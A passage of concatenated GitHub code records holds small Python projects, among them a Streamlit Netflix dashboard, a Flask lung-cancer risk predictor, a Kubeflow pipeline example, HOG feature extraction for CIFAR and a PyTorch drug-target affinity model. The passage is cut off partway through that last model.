== \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses symmetry test function\n elif user_choice == \"5\":\n user_matrix = gettingMatrices.get_input(1)\n symmetryTest.symmetry_test(user_matrix)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses vector * matrix function\n elif user_choice == \"6\":\n user_vector = gettingVectors.get_input(1)\n user_matrix = gettingMatrices.get_input(1)\n same_dimension = gettingVectors.check_length(user_vector,user_matrix)\n multiplyVectorAndMartix.multiply(user_vector, user_matrix, same_dimension)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses dot product function\n elif user_choice == \"7\":\n inputs = gettingVectors.get_input(2)\n first_vector = inputs[0]\n second_vector = inputs[1]\n same_dimension = gettingVectors.check_length(first_vector,second_vector)\n vectorDotProduct.dot_product(first_vector,second_vector,same_dimension)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n # case when user chooses weighted dot product function\n elif user_choice == \"8\":\n inputs = gettingVectors.get_input(2)\n first_vector = inputs[0]\n second_vector = inputs[1]\n same_dimension = gettingVectors.check_length(first_vector,second_vector)\n print(\"Enter the weight\")\n weight = gettingVectors.get_input(1)\n same_dimension = gettingVectors.check_length(first_vector,weight)\n weightedDotProduct.weighted_dot_product(first_vector,second_vector,weight)\n next_choice = input(\"Type y(yes) to execute program again.\\nType anything else to exit. \")\n if next_choice == \"y\":\n main()\n elif next_choice == \"n\":\n raise SystemExit\n else:\n raise SystemExit\n \n else:\n print(\"Invalid input. Try again.\")\n main()\n \nmain()\n","repo_name":"simonambiees/CS1110Codes","sub_path":"HW2_Q1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6377,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"40025441543","text":"import streamlit as st\nimport show_analysis\n\nst.set_page_config(\n page_title='Data Analysis',\n page_icon='📈',\n layout='wide'\n)\n\nst.header(':red[NETFLIX] Show Data Analysis')\n\nyear = st.sidebar.selectbox('Select a year',show_analysis.all_years())\nbtn = st.sidebar.button('Find Shows')\n\nif btn:\n st.subheader(f'Top web series of year :blue[{year}]')\n df = show_analysis.best_shows_of_year(year)\n\n for i in range(df.shape[0]):\n x = df.iloc[i]\n if i%2 == 0:\n st.write(f\"#:red[{i+1}]\")\n st.write(f'Show title : :red[{x[\"title\"]}]')\n st.write(f'Release year : :red[{x[\"release_year\"]}]')\n st.write(f'No. of seasons : :red[{x[\"number_of_seasons\"]}]')\n st.write(f'Genre : :red[{x[\"main_genre\"]}]')\n\n else:\n st.write(f\"#:green[{i+1}]\")\n st.write(f'Show title : :green[{x[\"title\"]}]')\n st.write(f'Release year : :green[{x[\"release_year\"]}]')\n st.write(f'No. of seasons : :green[{x[\"number_of_seasons\"]}]')\n st.write(f'Genre : :green[{x[\"main_genre\"]}]')\n\n\ngenre = st.sidebar.selectbox('Choose a Genre',show_analysis.genres())\nbtn2 = st.sidebar.button('Find Genres')\n\nif btn2:\n st.write(f'Top Shows in :red[{genre}] genre are:')\n st.dataframe(show_analysis.top_shows((genre)))\n\n\n\n\n","repo_name":"MishraAditya12126/netflix-data-analysis","sub_path":"pages/Shows.py","file_name":"Shows.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1614264418","text":"# Write a python script to check whether a given pair of numbers are co-Prime\n# numbers or not.\n\na = int(input(\"Enter the first number: \"))\nb = int(input(\"Enter the second number: \"))\n\nmin_num = min(a, b)\nfor i in range(2, min_num+1):\n if a % i == 0 and b % i == 0:\n print(\"%d and %d are not co-prime\" % (a, b))\n break\nelse:\n print(\"%d and %d are co-prime\" % (a, b))\n","repo_name":"jayesh7110/Full-Stack-Web-Development-using-Python","sub_path":"Assignment 12 More_on_loops/pr_07.py","file_name":"pr_07.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13079862177","text":"import kfp\nfrom kfp.components import create_component_from_func\nfrom kfp.dsl import pipeline\n\n@create_component_from_func\ndef print_and_return_number(number: int) -> int:\n print(number)\n return number\n\n@create_component_from_func\ndef sum_and_print_numbers(number_1: int, number_2: int) -> int:\n sum_num = number_1 + number_2\n print(sum_num)\n return sum_num\n\n@pipeline(name=\"example_pipeline\")\ndef example_pipeline(number_1: int, number_2: int):\n number_1_result = print_and_return_number(number_1)\n number_2_result = print_and_return_number(number_2)\n sum_result = sum_and_print_numbers(\n number_1=number_1_result.output, number_2=number_2_result.output\n )\n\nif __name__ == \"__main__\":\n kfp.compiler.Compiler().compile(example_pipeline, \"example_pipeline.yaml\")","repo_name":"Seokii/Study-MLOps","sub_path":"5. Pipelines/make_pipeline/make_pipeline.py","file_name":"make_pipeline.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"4777074960","text":"import algo_Sampling\nimport algo_MC\nimport copy\n\ndef MT_DM_L(graph, D, registeredUserSet, numberOfTask, taskWeights, qualityOfSubarea, userLocation, userBidding,\n MTRRSetCollection, totalUserDistribution):\n # winning worker selection stage\n S = algo_Sampling.maxCoverage(graph, D, registeredUserSet, numberOfTask, taskWeights, qualityOfSubarea, userLocation, userBidding,\n MTRRSetCollection, totalUserDistribution)\n print(S)\n # payment determination stage\n userTotalBid = algo_MC.gererateTotalBid(userBidding, numberOfTask)\n P = {}\n for winner in S:\n P[winner] = -10000\n currentRegisteredUserSet = copy.deepcopy(registeredUserSet)\n currentRegisteredUserSet.remove(winner)\n H = set()\n currentConsumption = 0\n MTRRSetCollectionPrime = MTRRSetCollection\n while H != currentRegisteredUserSet:\n candidate = currentRegisteredUserSet - H\n candidate = list(candidate)\n max_user = 0\n max_marginal_gain = -10000\n for user in candidate:\n if userTotalBid[user] == 0:\n continue\n current_user = set()\n current_user.add(user)\n current_marginal_gain = algo_Sampling.getWeightedCoverage(MTRRSetCollectionPrime, current_user, userBidding, totalUserDistribution) / len(MTRRSetCollection) / userTotalBid[user]\n if current_marginal_gain > max_marginal_gain:\n max_user = user\n max_marginal_gain = current_marginal_gain\n H.add(max_user)\n currentConsumption = currentConsumption + userTotalBid[max_user]\n current_winner = set()\n current_winner.add(winner)\n winner_marginal_gain_nonunit = algo_Sampling.getWeightedCoverage(MTRRSetCollectionPrime, current_winner, userBidding, totalUserDistribution) / len(MTRRSetCollection)\n P[winner] = max(P[winner], winner_marginal_gain_nonunit / max_marginal_gain)\n if currentConsumption + userTotalBid[winner] > D:\n break\n MTRRSetCollectionPrime = algo_Sampling.removeCoveredUser(MTRRSetCollectionPrime, max_user, userBidding)\n if currentConsumption + userTotalBid[winner] <= D:\n P[winner] = max(P[winner], D - currentConsumption)\n print(\"Winner is \" + str(winner) + \", its price is \" + str(P[winner]) + \", its bid is \" + str(userTotalBid[winner]))\n return P","repo_name":"guojx93/MT-DM","sub_path":"incentive.py","file_name":"incentive.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"107390950","text":"def last2(str):\n strLast2 = str[len(str)-2:]\n nMatch = 0\n for i in range(len(str) - 3):\n strNext2 = str[i:i+2]\n if strNext2 == strLast2:\n nMatch = nMatch + 1\n return nMatch\n\nprint(last2(\"cbdabljafabwoiijab\"))\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/brian_minsk/lesson01/CodingBat-pushups/Warmup2-last2.py","file_name":"Warmup2-last2.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"40592689908","text":"from flask import Flask, render_template, request, redirect\r\nimport numpy as np\r\nimport pickle\r\n\r\nxgb = pickle.load(open(r'C:\\Users\\Katta\\OneDrive\\Desktop\\Flask Tutorial\\XGB.pkl','rb'))\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n #return 'Hello, World!'\r\n\r\n@app.route('/predict', methods=['POST'])\r\ndef predict():\r\n features = [x for x in request.form.values()]\r\n ar = np.array(features,dtype='int64')\r\n pred = xgb.predict(ar.reshape(1,-1))\r\n val = '-'\r\n #print(ar)\r\n if(pred[0]==1):\r\n val = 'Very Low Risk of Lung Cancer'\r\n elif(pred[0]==2):\r\n val = 'Moderate Risk of Lung Cancer'\r\n elif(pred[0]==0):\r\n val = 'High Risk of Lung Cancer'\r\n \r\n return render_template('index.html',prediction_text=f'The Patient has {val}')\r\n\r\n@app.route('/info.html')\r\ndef info():\r\n return render_template('info.html')\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n\r\n\r\n","repo_name":"heisenberg3376/Lung-Cancer-Risk-Detection-System","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"72809810660","text":"from problems import Problem003\n\ndef sumOfPrimes(targetIndex):\n sum = 0;\n for x in range(2, targetIndex): # Ends at targetIndex - 1\n if (Problem003.isPrime(x)):\n sum = sum + x;\n return sum\n\nif __name__ == '__main__':\n print(\"[Begin]\")\n print(\"Sum of Primes:\", sumOfPrimes(12))\n print(\"Sum of Primes:\", sumOfPrimes(2000000))\n\n","repo_name":"Kazz47/project_euler","sub_path":"problems/Problem010.py","file_name":"Problem010.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33453655754","text":"# passing list to a function\ndef fun_list(my_list):\n for i in my_list:\n print(i)\n\nmy_list = [\"A\", \"B\", \"C\", \"D\", \"E\"]\nprint(\"List\")\nfun_list(my_list)\n\n# passing tuple to a function\n\n\ndef fun_tuple(my_tuple):\n for i in my_tuple:\n print(i)\n\n\nmy_tuple = (1, 2, 3, 4, 5)\nprint(\"Tuple\")\nfun_tuple(my_tuple)\n\n# passing set to a function\n\n\ndef fun_set(my_set):\n for i in my_set:\n print(i)\n\n\nmy_set = {\"a\", \"b\", \"c\", \"d\", \"e\"}\nprint(\"Set\")\nfun_set(my_set)\n\n# passing dictionary to a function\n\n\ndef fun_dist(my_dist):\n for key, value in my_dist.items():\n print(key, \":\", value)\n\n\nmy_dist = {\n \"name\": \"Vishal\",\n \"age\": 17,\n \"subject\": \"Python\"\n}\nprint(\"Dictionary\")\nfun_dist(my_dist)\n","repo_name":"vishalyadavaas/Diploma","sub_path":"Python-for-UP-Diploma-CSE-IT/Unit 5-functions/passing_collections.py","file_name":"passing_collections.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12348147178","text":"from util import unpickle, load_cifar_data\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nfrom skimage.feature import hog\nfrom skimage import data, color, exposure\n\n\ndata = load_cifar_data('data/cifar-10-python/')\ntrainx = data['X_train']\ntrainy = data['Y_train']\ntestx = data['X_test']\ntesty = data['Y_test']\n\ntrain_feat = []\ntest_feat = []\n\nfor i in range(trainx.shape[0]):\n\tif i % 10000 == 9999:\n\t\tprint(i)\n\timage = color.rgb2gray(trainx[i,:,:,:])\n\tfd = hog(image, orientations=8, pixels_per_cell=(4, 4),\n\t\t\t\t\t\tcells_per_block=(1, 1), visualise=False)\n\ttrain_feat.append(fd.reshape(1, fd.shape[0]))\n\nfor i in range(testx.shape[0]):\n\tif i % 10000 == 9999:\n\t\tprint(i)\n\timage = color.rgb2gray(testx[i,:,:,:])\n\tfd = hog(image, orientations=8, pixels_per_cell=(4, 4),\n\t\t\t\t\t\tcells_per_block=(1, 1), visualise=False)\n\ttest_feat.append(fd.reshape(1, fd.shape[0]))\n\ntrain_feat = np.concatenate(train_feat, axis=0)\ntest_feat = np.concatenate(test_feat, axis=0)\n\nwith open('data/cifar-10-python/cifar_hog.pkl', 'wb') as output:\n\tpickle.dump(dict(\n\t\tX_train=train_feat.astype(np.float32),\n\t\tY_train=trainy.astype('int32'),\n\t\tX_test=test_feat.astype(np.float32),\n\t\tY_test=testy.astype('int32')), output)","repo_name":"yizhangzzz/Not-So-Random-Features","sub_path":"extract_hog_cifar.py","file_name":"extract_hog_cifar.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"74272900581","text":"import os\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom tqdm import tqdm\r\nfrom lifelines.utils import concordance_index as ci\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom .NHGNN_DTA.model import GINConvNet, LinkAttention\r\nfrom .NHGNN_DTA.build_vocab import WordVocab\r\nfrom .NHGNN_DTA.NHGNN_dataset import DTADataset\r\nimport torch_geometric\r\nfrom torch_geometric.loader import DataLoader\r\nimport pandas as pd\r\nimport rdkit.Chem as Chem\r\nimport networkx as nx\r\n\r\n#############################\r\natom_dict = {5: 'C',\r\n 6: 'C',\r\n 9: 'O',\r\n 12: 'N',\r\n 15: 'N',\r\n 21: 'F',\r\n 23: 'S',\r\n 25: 'Cl',\r\n 26: 'S',\r\n 28: 'O',\r\n 34: 'Br',\r\n 36: 'P',\r\n 37: 'I',\r\n 39: 'Na',\r\n 40: 'B',\r\n 41: 'Si',\r\n 42: 'Se',\r\n 44: 'K',\r\n }\r\n\r\n\r\nclass NHGNN_DTA(nn.Module):\r\n def __init__(self, pretrain_path, data_path, saved_path, drug_vocab, target_vocab, auto_dataset: bool=True,\r\n tar_len=2600, sm_len=536, embedding_dim=128, lstm_dim=64, hidden_dim=128, dropout_rate=0.1,\r\n alpha=0.2, n_heads=8, bilstm_layers=2, protein_vocab=26, seed=42, test_ratio=0.15,\r\n smile_vocab=45, theta=0.5):\r\n super(NHGNN_DTA, self).__init__()\r\n self.saved_path = saved_path\r\n self.data_path = data_path\r\n\r\n # model\r\n self.is_bidirectional = True\r\n # drugs\r\n self.theta = theta\r\n self.dropout = nn.Dropout(dropout_rate)\r\n self.leakyrelu = nn.LeakyReLU(alpha)\r\n self.relu = nn.ReLU()\r\n self.elu = nn.ELU()\r\n self.bilstm_layers = bilstm_layers\r\n self.n_heads = n_heads\r\n self.hgin = GINConvNet()\r\n\r\n # SMILES\r\n self.smiles_vocab = smile_vocab\r\n self.smiles_embed = nn.Embedding(smile_vocab + 1, 256, padding_idx=0)\r\n\r\n self.is_bidirectional = True\r\n self.smiles_input_fc = nn.Linear(256, lstm_dim)\r\n self.smiles_lstm = nn.LSTM(lstm_dim, lstm_dim, self.bilstm_layers, batch_first=True,\r\n bidirectional=self.is_bidirectional, dropout=dropout_rate)\r\n # self.ln1 = torch.nn.LayerNorm(lstm_dim * 2)\r\n self.out_attentions3 = LinkAttention(hidden_dim, n_heads)\r\n\r\n # protein\r\n self.protein_vocab = protein_vocab\r\n self.protein_embed = nn.Embedding(protein_vocab + 1, embedding_dim, padding_idx=0)\r\n self.protein_input_fc = nn.Linear(embedding_dim, lstm_dim)\r\n\r\n self.protein_lstm = nn.LSTM(lstm_dim, lstm_dim, self.bilstm_layers, batch_first=True,\r\n bidirectional=self.is_bidirectional, dropout=dropout_rate)\r\n # self.ln2 = torch.nn.LayerNorm(lstm_dim * 2)\r\n self.protein_head_fc = nn.Linear(lstm_dim * n_heads, lstm_dim)\r\n self.protein_out_fc = nn.Linear(2 * lstm_dim, hidden_dim)\r\n self.out_attentions2 = LinkAttention(hidden_dim, n_heads)\r\n\r\n # link\r\n self.out_attentions = LinkAttention(hidden_dim, n_heads)\r\n # self.out_fc1 = nn.Linear(hidden_dim * 3, 256 * 8)\r\n # self.out_fc2 = nn.Linear(256 * 8, hidden_dim * 2)\r\n # self.out_fc3 = nn.Linear(hidden_dim * 2, 1)\r\n self.layer_norm = nn.LayerNorm(lstm_dim * 2)\r\n\r\n # pretrained model\r\n if pretrain_path is not None:\r\n print('load_model...', pretrain_path)\r\n save_model = torch.load(pretrain_path)\r\n model_dict = self.state_dict()\r\n state_dict = {k: v for k, v in save_model.items() if k in model_dict.keys()}\r\n model_dict.update(state_dict)\r\n self.load_state_dict(model_dict)\r\n\r\n # data\r\n if auto_dataset:\r\n print(\"NHGNN dataset preparation...\")\r\n smiles_graph, target_graph, self.target_seq, self.smiles_emb, self.target_emb, \\\r\n self.smiles_len, self.target_len, self.smiles_idx = self.preparation(\r\n data_path, drug_vocab, target_vocab, tar_len, sm_len)\r\n\r\n self.dataset = self.get_dataset(data_path, self.smiles_idx, smiles_graph, target_graph,\r\n self.smiles_len, self.target_len)\r\n self.train_set, self.test_set = self.split_dataset(self.dataset, seed, test_ratio)\r\n\r\n def preparation(self, data_path, drug_vocab, target_vocab, tar_len, sm_len):\r\n def target_to_graph(target_key, target_sequence, contact_dir):\r\n target_edge_index = []\r\n target_size = len(target_sequence)\r\n contact_file = os.path.join(contact_dir, target_key + '.npy')\r\n contact_map = np.load(contact_file)\r\n contact_map += np.matrix(np.eye(contact_map.shape[0]))\r\n index_row, index_col = np.where(contact_map > 0.8)\r\n for i, j in zip(index_row, index_col):\r\n target_edge_index.append([i, j])\r\n target_edge_index = np.array(target_edge_index)\r\n return target_size, target_edge_index\r\n\r\n def smiles_to_graph(smile):\r\n mol = Chem.MolFromSmiles(smile)\r\n c_size = mol.GetNumAtoms()\r\n\r\n edges = []\r\n for bond in mol.GetBonds():\r\n edges.append([bond.GetBeginAtomIdx(), bond.GetEndAtomIdx()])\r\n g = nx.Graph(edges).to_directed()\r\n edge_index = []\r\n mol_adj = np.zeros((c_size, c_size))\r\n for e1, e2 in g.edges:\r\n mol_adj[e1, e2] = 1\r\n # edge_index.append([e1, e2])\r\n mol_adj += np.matrix(np.eye(mol_adj.shape[0]))\r\n index_row, index_col = np.where(mol_adj >= 0.5)\r\n for i, j in zip(index_row, index_col):\r\n edge_index.append([i, j])\r\n edge_index = np.array(edge_index)\r\n return c_size, edge_index\r\n\r\n df = pd.read_csv(data_path)\r\n smiles = set(df['compound_iso_smiles'])\r\n target = set(df['target_key'])\r\n\r\n target_seq = {}\r\n for i in range(len(df)):\r\n target_seq[df.loc[i, 'target_key']] = df.loc[i, 'target_sequence']\r\n target_graph = {}\r\n pconsc4_path = os.path.join(os.path.dirname(os.path.dirname(data_path)), \"pconsc4\")\r\n for k in target_seq:\r\n seq = target_seq[k]\r\n _, graph = target_to_graph(k, seq, pconsc4_path)\r\n target_graph[seq] = graph\r\n smiles_graph = {}\r\n for sm in smiles:\r\n _, graph = smiles_to_graph(sm)\r\n smiles_graph[sm] = graph\r\n\r\n target_emb = {}\r\n target_len = {}\r\n for k in target_seq:\r\n seq = target_seq[k]\r\n content = []\r\n flag = 0\r\n for i in range(len(seq)):\r\n if flag >= len(seq):\r\n break\r\n if (flag + 1 < len(seq)):\r\n if target_vocab.stoi.__contains__(seq[flag:flag + 2]):\r\n content.append(target_vocab.stoi.get(seq[flag:flag + 2]))\r\n flag = flag + 2\r\n continue\r\n content.append(target_vocab.stoi.get(seq[flag], target_vocab.unk_index))\r\n flag = flag + 1\r\n\r\n if len(content) > tar_len-2:\r\n content = content[:tar_len-2]\r\n\r\n X = [target_vocab.sos_index] + content + [target_vocab.eos_index]\r\n target_len[k] = len(content)\r\n if tar_len > len(X):\r\n padding = [target_vocab.pad_index] * (tar_len - len(X))\r\n X.extend(padding)\r\n target_emb[seq] = torch.tensor(X)\r\n\r\n smiles_idx = {}\r\n smiles_emb = {}\r\n smiles_len = {}\r\n\r\n for sm in smiles:\r\n content = []\r\n cut_graph = False\r\n flag = 0\r\n for i in range(len(sm)):\r\n if flag >= len(sm):\r\n break\r\n if (flag + 1 < len(sm)):\r\n if drug_vocab.stoi.__contains__(sm[flag:flag + 2]):\r\n content.append(drug_vocab.stoi.get(sm[flag:flag + 2]))\r\n flag = flag + 2\r\n continue\r\n content.append(drug_vocab.stoi.get(sm[flag], drug_vocab.unk_index))\r\n flag = flag + 1\r\n\r\n if len(content) > sm_len-2:\r\n content = content[:sm_len-2]\r\n cut_graph = True\r\n\r\n X = [drug_vocab.sos_index] + content + [drug_vocab.eos_index]\r\n smiles_len[sm] = len(content)\r\n if sm_len > len(X):\r\n padding = [drug_vocab.pad_index] * (sm_len - len(X))\r\n X.extend(padding)\r\n\r\n smiles_emb[sm] = torch.tensor(X)\r\n\r\n if not smiles_idx.__contains__(sm):\r\n tem = []\r\n for i, c in enumerate(X):\r\n if atom_dict.__contains__(c):\r\n tem.append(i)\r\n smiles_idx[sm] = tem\r\n\r\n if cut_graph:\r\n mask = np.any(smiles_graph[sm] >= len(tem), axis=1)\r\n smiles_graph[sm] = smiles_graph[sm][~mask]\r\n\r\n if len(smiles_idx[sm]) != smiles_graph[sm][-1][0]+1:\r\n print(sm)\r\n\r\n\r\n return smiles_graph, target_graph, target_seq, smiles_emb, target_emb, smiles_len, target_len, smiles_idx\r\n\r\n def get_dataset(self, data_path, smiles_idx, smiles_graph, target_graph, smiles_len, target_len):\r\n print(\"processing NHGNN dataset...\")\r\n root_path = os.path.dirname(os.path.dirname(data_path))\r\n data_set = DTADataset(root=root_path, path=data_path, smiles_idx=smiles_idx, smiles_graph=smiles_graph,\r\n target_graph=target_graph, smiles_len=smiles_len, target_len=target_len)\r\n return data_set\r\n\r\n def split_dataset(self, dataset, seed, test_ratio):\r\n test_size = round(len(dataset) * test_ratio)\r\n train_dataset, test_dataset = torch.utils.data.random_split(\r\n dataset=dataset,\r\n lengths=[len(dataset) - test_size, test_size],\r\n generator=torch.Generator().manual_seed(seed)\r\n )\r\n return train_dataset, test_dataset\r\n\r\n def forward(self, data, output_vector=False, tar_len=2600, seq_len=536):\r\n\r\n target_seq, smiles_emb, target_emb, smiles_len, target_len, smiles_idx = \\\r\n self.target_seq, self.smiles_emb, self.target_emb, self.smiles_len, self.target_len, self.smiles_idx\r\n\r\n batchsize = len(data.sm)\r\n smiles = torch.zeros(batchsize, seq_len).cuda().long()\r\n protein = torch.zeros(batchsize, tar_len).cuda().long()\r\n\r\n for i in range(batchsize):\r\n sm = data.sm[i]\r\n seq_id = data.target[i]\r\n seq = target_seq[seq_id]\r\n smiles[i] = smiles_emb[sm]\r\n protein[i] = target_emb[seq]\r\n # smiles_lengths = [len(sm) for sm in data.sm]\r\n tar_len = [self.target_len[k] for k in data.target]\r\n\r\n smiles = self.smiles_embed(smiles) # B * seq len * emb_dim\r\n\r\n smiles = self.smiles_input_fc(smiles) # B * seq len * lstm_dim\r\n smiles, _ = self.smiles_lstm(smiles) # B * seq len * lstm_dim*2\r\n # smiles = self.ln1(smiles)\r\n # del smiles\r\n\r\n protein = self.protein_embed(protein) # B * tar_len * emb_dim\r\n protein = self.protein_input_fc(protein) # B * tar_len * lstm_dim\r\n protein, _ = self.protein_lstm(protein) # B * tar_len * lstm_dim *2\r\n # protein = self.ln2(protein)\r\n\r\n # smiles_mask = self.generate_masks(smiles, smiles_lengths, self.n_heads) # B * head* seq len\r\n # smiles_out, smile_attn = self.out_attentions3(smiles, smiles_mask) # B * lstm_dim*2\r\n #\r\n # protein_mask = self.generate_masks(protein, tar_len, self.n_heads) # B * head * tar_len\r\n # protein_out, prot_attn = self.out_attentions2(protein, protein_mask) # B * (lstm_dim *2)\r\n #\r\n # # drugs and proteins\r\n # out_cat = torch.cat((smiles, protein), dim=1) # B * head * lstm_dim *2\r\n # out_masks = torch.cat((smiles_mask, protein_mask), dim=2) # B * tar_len+seq_len * (lstm_dim *2)\r\n # out_cat, out_attn = self.out_attentions(out_cat, out_masks)\r\n # out = torch.cat([smiles_out, protein_out, out_cat], dim=-1) # B * (rnn*2 *3)\r\n # out = self.dropout(self.relu(self.out_fc1(out))) # B * (256*8)\r\n # out = self.dropout(self.relu(self.out_fc2(out))) # B * hidden_dim*2\r\n # out = self.out_fc3(out).squeeze()\r\n\r\n # del smiles_out, protein_out\r\n\r\n sm_emb, pro_emb = smiles, protein\r\n idx = [smiles_idx[s] for s in data.sm]\r\n\r\n data.x = torch.cat([torch.cat([pro_emb[i, 1:tar_len[i] + 1], sm_emb[i, idx[i]], sm_emb[i, 0].unsqueeze(0)]).cpu() for i in range(len(data))], 0)\r\n\r\n if output_vector:\r\n NHGvec = self.hgin(data, output_vector=True)\r\n return NHGvec\r\n\r\n gout = self.hgin(data)\r\n return gout\r\n # return gout * self.theta + out.view(-1, 1) * (1 - self.theta)\r\n\r\n def forward_pro(self, data, tar_len=2600):\r\n target_seq, target_emb, target_len = self.target_seq, self.target_emb, self.target_len\r\n batchsize = len(data.target)\r\n protein = torch.zeros(batchsize, tar_len).cuda().long()\r\n\r\n for i in range(batchsize):\r\n seq_id = data.target[i]\r\n seq = target_seq[seq_id]\r\n protein[i] = target_emb[seq]\r\n # smiles_lengths = [len(sm) for sm in data.sm]\r\n tar_len = [self.target_len[k] for k in data.target]\r\n\r\n protein = self.protein_embed(protein) # B * tar_len * emb_dim\r\n protein = self.protein_input_fc(protein) # B * tar_len * lstm_dim\r\n protein, _ = self.protein_lstm(protein) # B * tar_len * lstm_dim *2\r\n\r\n pro_emb = protein\r\n data.x = torch.cat([pro_emb[i, 1:tar_len[i] + 1].cpu() for i in range(len(data))], 0)\r\n\r\n NHGvec = self.hgin(data, output_vector=True)\r\n return NHGvec\r\n\r\n\r\n def generate_masks(self, adj, adj_sizes, n_heads):\r\n out = torch.ones(adj.shape[0], adj.shape[1])\r\n max_size = adj.shape[1]\r\n if isinstance(adj_sizes, int):\r\n out[0, adj_sizes:max_size] = 0\r\n else:\r\n for e_id, drug_len in enumerate(adj_sizes):\r\n out[e_id, drug_len: max_size] = 0\r\n out = out.unsqueeze(1).expand(-1, n_heads, -1)\r\n return out.cuda(device=adj.device)\r\n\r\n def fit(self, train_set, test_set, use_cuda=True, lr=1e-4, GIN_lr=5e-4, weight_decay=0, epochs=1000,\r\n early_stop_epochs=60, batch_size=128, save_model=True):\r\n\r\n # model\r\n model = self\r\n if use_cuda:\r\n model.cuda()\r\n\r\n # optimizer\r\n GIN_params = list(map(id, model.hgin.parameters()))\r\n base_params = filter(lambda p: id(p) not in GIN_params,\r\n model.parameters())\r\n optimizer = torch.optim.Adam(\r\n [{'params': base_params},\r\n {'params': model.hgin.parameters(), 'lr': GIN_lr}], lr=lr, weight_decay=weight_decay)\r\n\r\n schedule = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 20, eta_min=2e-5, last_epoch=-1, verbose=True)\r\n criterion = nn.MSELoss()\r\n dataloader_train = DataLoader(train_set, batch_size=batch_size, shuffle=True)\r\n\r\n best_ci = 0\r\n best_mse = 100000\r\n best_epoch = -1\r\n torch.cuda.empty_cache()\r\n for epoch in range(epochs):\r\n model.train()\r\n print(f\"epoch [{epoch + 1} / {epochs}]\")\r\n for data in tqdm(dataloader_train, ncols=80):\r\n if use_cuda:\r\n data = data.cuda()\r\n optimizer.zero_grad()\r\n out = model(data)\r\n loss = criterion(out.float(), data.y.view(-1, 1).float().cuda()).float()\r\n loss.backward()\r\n optimizer.step()\r\n schedule.step()\r\n\r\n # val\r\n all_mse, all_ci = self.val(test_set)\r\n\r\n if all_mse < best_mse:\r\n best_ci = all_ci\r\n best_mse = all_mse\r\n best_epoch = epoch\r\n model.cpu()\r\n if save_model:\r\n save_dict = {'model': model.state_dict(), 'optim': optimizer.state_dict(), 'ci': best_ci}\r\n torch.save(save_dict, self.saved_path)\r\n if use_cuda:\r\n model.cuda()\r\n else:\r\n if epoch - best_epoch > early_stop_epochs:\r\n break\r\n print(\r\n f\"total_mse={all_mse}, total_ci={all_ci}, best mse={best_mse}, ci={best_ci}, best_epoch={best_epoch + 1}\")\r\n\r\n def val(self, test_set, batch_size=128, use_cuda=True):\r\n dataloader_test = DataLoader(test_set, batch_size=batch_size, shuffle=False)\r\n # dataloader_test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False, collate_fn=self.collate)\r\n model = self\r\n model.eval()\r\n total_pred = torch.Tensor()\r\n total_label = torch.Tensor()\r\n with torch.no_grad():\r\n for data in tqdm(dataloader_test, ncols=80):\r\n if use_cuda:\r\n data = data.cuda()\r\n out = model(data)\r\n total_pred = torch.cat((total_pred, out.cpu()), 0)\r\n total_label = torch.cat((total_label, data.y.cpu()), 0)\r\n all_ci = ci(total_label.detach().numpy().flatten(), total_pred.detach().numpy().flatten())\r\n all_mse = mean_squared_error(total_label.detach().numpy().flatten(), total_pred.detach().numpy().flatten())\r\n return all_mse, all_ci\r\n\r\n # def collate(self, args):\r\n # data = [a[0] for a in args]\r\n # sm_emb = [a[1] for a in args]\r\n # prot_emb = [a[2] for a in args]\r\n # data = torch_geometric.data.Batch.from_data_list(data) # 对Data对象使用默认的拼接\r\n # return data, sm_emb, prot_emb\r\n\r\n# def reset_feature(dataset, model, target_seq, target_len, smiles_idx):\r\n# torch.cuda.empty_cache()\r\n# batch_size = 128\r\n# with torch.no_grad():\r\n# model = model.cuda()\r\n# model.eval()\r\n# dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=False)\r\n# start = 0\r\n# for data in tqdm(dataloader, ncols=80):\r\n# sm, pro = model(data, 